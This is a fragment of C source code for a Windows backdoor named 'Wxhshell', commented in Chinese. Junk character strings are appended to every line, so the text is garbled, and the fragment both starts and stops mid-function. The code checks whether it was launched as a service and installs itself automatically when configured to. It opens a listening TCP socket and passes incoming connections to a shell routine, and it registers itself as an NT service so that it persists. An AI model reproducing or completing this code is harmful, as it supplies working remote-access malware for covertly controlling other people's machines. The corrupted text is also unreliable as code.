DWORD BasePriority; N#-kk3!Z;
ULONG UniqueProcessId; y ? {PoNI
ULONG InheritedFromUniqueProcessId; c^dl+-{Mc
} PROCESS_BASIC_INFORMATION; =A6u=
'^.=gTk
PROCNTQSIP NtQueryInformationProcess; V5hlG =V
>r4Y\"/j
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 8Jib|#!
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 'wT./&Z
B4*X0x
HANDLE hProcess; gR_b~^
PROCESS_BASIC_INFORMATION pbi; {%+3D,$)
1Hk<_no5
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); "z(fBnv
if(NULL == hInst ) return 0; 4?*"7t3
i}$N&
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); S#0|#Z5qD
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); x`=5l`
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); I%zo>s6
*`pec3"
if (!NtQueryInformationProcess) return 0; L2/<+Zw
ru6H nLhL
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); aP6%OI
if(!hProcess) return 0; gS(: c.
9q0,K" x)
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; -SC2Zgi)A
fXXm@tMx>
CloseHandle(hProcess); Cn./N aq
YRM6\S)py
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); g8iB;%6
if(hProcess==NULL) return 0; /kviO@jm4(
$Zu4tuXA
HMODULE hMod; 8 *(W |J
char procName[255]; R2H\;N
unsigned long cbNeeded; wHN`-
5%
onJ[&f
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); JY050FL
Velbq
CloseHandle(hProcess); ,n,7.m.D
;uWIl
if(strstr(procName,"services")) return 1; // 以服务启动 <x%my4M
~V$5 m j
return 0; // 注册表启动 H@&"M%
} >*Qk~kv<%
BS<>gA
R;/
// 主模块 E<m"en&v
int StartWxhshell(LPSTR lpCmdLine) qU
x7S(a
{ EBn:[2
SOCKET wsl; Vo9)KxR
BOOL val=TRUE; ?;.+A4
int port=0; dE9aE# o
struct sockaddr_in door; {*=5qV}
"d^lS@~
if(wscfg.ws_autoins) Install(); B=RKi\K6a
J<P/w%i2
port=atoi(lpCmdLine); @1qUC"Mg
t"74HZO>
if(port<=0) port=wscfg.ws_port; MT#[ -M\
7zkm
WSADATA data; d7-F&!sQ
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; aid)q&AcQ
G}hkr
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; B8#f^}8
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 7_'k`J@_
door.sin_family = AF_INET; O9 Au =
door.sin_addr.s_addr = inet_addr("127.0.0.1"); HIp {< M3
door.sin_port = htons(port); Rx"VscB6z
fS$Yl~-m?
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) {
$;`2^L
closesocket(wsl); U -^S<H
return 1; P@T $6%~
} 1.OXkgh
ABYW1K=
if(listen(wsl,2) == INVALID_SOCKET) { 1MzB?[gx
closesocket(wsl); Pc:'>,3!V3
return 1; ~(doy@0M
} "e};?|y
Wxhshell(wsl); vR.6^q
WSACleanup(); %^@0tT
'~6CGqU*
return 0; 0PX@E-n
E":":AC#
} k}a!lI:
1XKIK(l
// 以NT服务方式启动 9lwo/(s
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ^J=txsx
{ #(}_2x5
DWORD status = 0; b:d.Lf{y7
DWORD specificError = 0xfffffff; { dxyBDK
xx2:5
serviceStatus.dwServiceType = SERVICE_WIN32; 9Qm{\
serviceStatus.dwCurrentState = SERVICE_START_PENDING; '
xq5tRg>
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; cngPc]?N
serviceStatus.dwWin32ExitCode = 0; K>p:?w
serviceStatus.dwServiceSpecificExitCode = 0; Uc;IPS
serviceStatus.dwCheckPoint = 0; |P?B AWYeQ
serviceStatus.dwWaitHint = 0; -`<N,
X/D9%[{&
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); HE.Dl7{
if (hServiceStatusHandle==0) return; p.7p,CyB
RPqn#B
status = GetLastError();
rlh6\Fa
if (status!=NO_ERROR) g<jK^\eW
{ -Y,Ibq
serviceStatus.dwCurrentState = SERVICE_STOPPED; 4'eVFu+62
serviceStatus.dwCheckPoint = 0; 9 u89P
serviceStatus.dwWaitHint = 0; k5\
zGsol
serviceStatus.dwWin32ExitCode = status; )$.9WlQ
serviceStatus.dwServiceSpecificExitCode = specificError; B'~i Z65
SetServiceStatus(hServiceStatusHandle, &serviceStatus); :z5Ibas:
return; =:}DD0o*
} +[nYu)puP
CZno2$8@e
serviceStatus.dwCurrentState = SERVICE_RUNNING; O*"wQ50Ou
serviceStatus.dwCheckPoint = 0; %[F;TZt
serviceStatus.dwWaitHint = 0; 6*oTT(0<p
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); IaqN@IlWb
} 6E%k{ r
.:Xe* Q
// 处理NT服务事件,比如:启动、停止 N@
tb^M
VOID WINAPI NTServiceHandler(DWORD fdwControl) ~9 nrS9)
{ t#Yh!L6>
switch(fdwControl) S^_yiV
S
{ lk'jBl%
case SERVICE_CONTROL_STOP: :EAfD(D{)
serviceStatus.dwWin32ExitCode = 0; BiAcjN:Z
serviceStatus.dwCurrentState = SERVICE_STOPPED;
]@
0V
serviceStatus.dwCheckPoint = 0; xGQ:7g+qu
serviceStatus.dwWaitHint = 0; HUX+d4sg
{ H zK=UcD
SetServiceStatus(hServiceStatusHandle, &serviceStatus); [-}%B0S**
} e"09b<69
return; lcLxqnv
case SERVICE_CONTROL_PAUSE: m/c~2?-;
serviceStatus.dwCurrentState = SERVICE_PAUSED; T>?1+mruM
break; u"3cSuqy
case SERVICE_CONTROL_CONTINUE: <